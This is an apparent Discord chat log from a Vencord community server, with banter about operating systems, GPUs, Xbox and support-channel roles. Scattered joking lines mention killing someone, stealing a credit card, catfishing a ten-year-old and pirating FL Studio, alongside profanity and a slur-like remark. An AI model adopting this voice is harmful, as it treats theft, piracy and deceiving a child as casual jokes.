[fickle cosmos]

[storm cedar]

what the fuck

[warm zenith]

can we kill this person right here and now

[jaunty trellis]

[fallow pawn]

[open pasture]

well i guess i wai

[fallow pawn]

In bored

[viral cape]

https://cdn.discordapp.com/attachments/804491292897574944/1187001242979946608/attachment-1.gif

[fickle cosmos]

Alright ig april fools is 2nd apr now lmao

[weak wharf]

can somebody please ban this windows, google chrome and M$ edge user

[fickle cosmos]

I use windows cause geyming

[open pasture]

why did my alt get timedout

[viral cape]

skill issue

[open pasture]

thats kinda gay

[fickle cosmos]

🔥

[viral cape]

you know what you did

[fickle cosmos]

also I accidently opened edge and didnt close it 💀

why the fuck is it recei- oh GTA is downloading

[storm cedar]

I-

[viral cape]

where the fuck do you get this shit

[fickle cosmos]

my ass

shhhh

[viral cape]

ok but

how do you afford that

[fickle cosmos]

sh

🤫

my friend pays for it 🔥

[storm cedar]

Self snitching but lowkey not lowkey

[open pasture]

noo my gf blocked meee (real)

[fickle cosmos]

wut

[viral cape]

is that a server being rented

[fickle cosmos]

it's a cloud PC

🗿

well

[viral cape]

so, effectively the same thing

[fickle cosmos]

VPS but I just made a KVM VM

dont ask me why but the hypervisor has 4 GPUs

🔥

[viral cape]

wtf do you need such a gpu for

[fickle cosmos]

AI

[viral cape]

4 of THOSE gpus

What AI are you even doing

[fickle cosmos]

Well not those

2x A6000s

and like

2x V1000

or whatever the fuck it is

idk

[viral cape]

i will steal your friends credit card

[open pasture]

my black xbox one controller died

[fickle cosmos]

debit card 🔥

[fickle cosmos]

imaging having an xbox

[storm cedar]

toxic and petty

[open pasture]

game pass

[lapis lava]

i think bypassing restrictions is bannable

[open pasture]

xcloud

actually good backwards compatibility

[plush kraken]

yeah ik

im not gonna chat there

[open pasture]

with all kinds of xbox

[plush kraken]

im not gonna mess with that stuff

[fickle cosmos]

imaging using xcloud 🔥

[plush kraken]

@dense phoenix can u give me the no support role

[fickle cosmos]

imaging having anything microsoft related

[viral cape]

tbh you dont want to touch #🏥-vencord-support-🏥 anyway

[open pasture]

xbox series x/s owners can play all xbox 360 and xbox one games

[viral cape]

it is hell

[fickle cosmos]

Could never be me

[plush kraken]

i want to touch it

i want to touch everything

[fickle cosmos]

even my-

desk

[open pasture]

your about me scares me

[jaunty trellis]

[open pasture]

PLAY P3R

NOW

[fickle cosmos]

whats p3r

[plush kraken]

im trying to catfish that 10 year old kid into admitting that he was spreading virus

[dense phoenix]

you can also just hide channels from discord

[fickle cosmos]

also im using my xbox controller for my PC rn

[open pasture]

Persona 3 Reload

[fickle cosmos]

no

[open pasture]

YES

[open pasture]

persona 3 reloaded

YOU WILL

PLAY IT

NOW

.

[open pasture]

im scared i will get banned if i send messages in #🏥-vencord-support-🏥 because i have no support role on this acc

[viral cape]

just appeal your no support role

easy

[fallow pawn]

or just not use an egirl alt

[storm cedar]

maybe

[plush kraken]

i think vee hates me tbf

[viral cape]

you wouldn't use an egirl alt to ask for vencord support

[plush kraken]

i might never get an appeal

[plush kraken]

[fickle cosmos]

fuck it im doing illegal stuff to obtain fl studio

[viral cape]

you literally turned vencord wiki into a about me page

[dense phoenix]

ight k

[storm cedar]

self snitching

[fickle cosmos]

(this is a joke discord)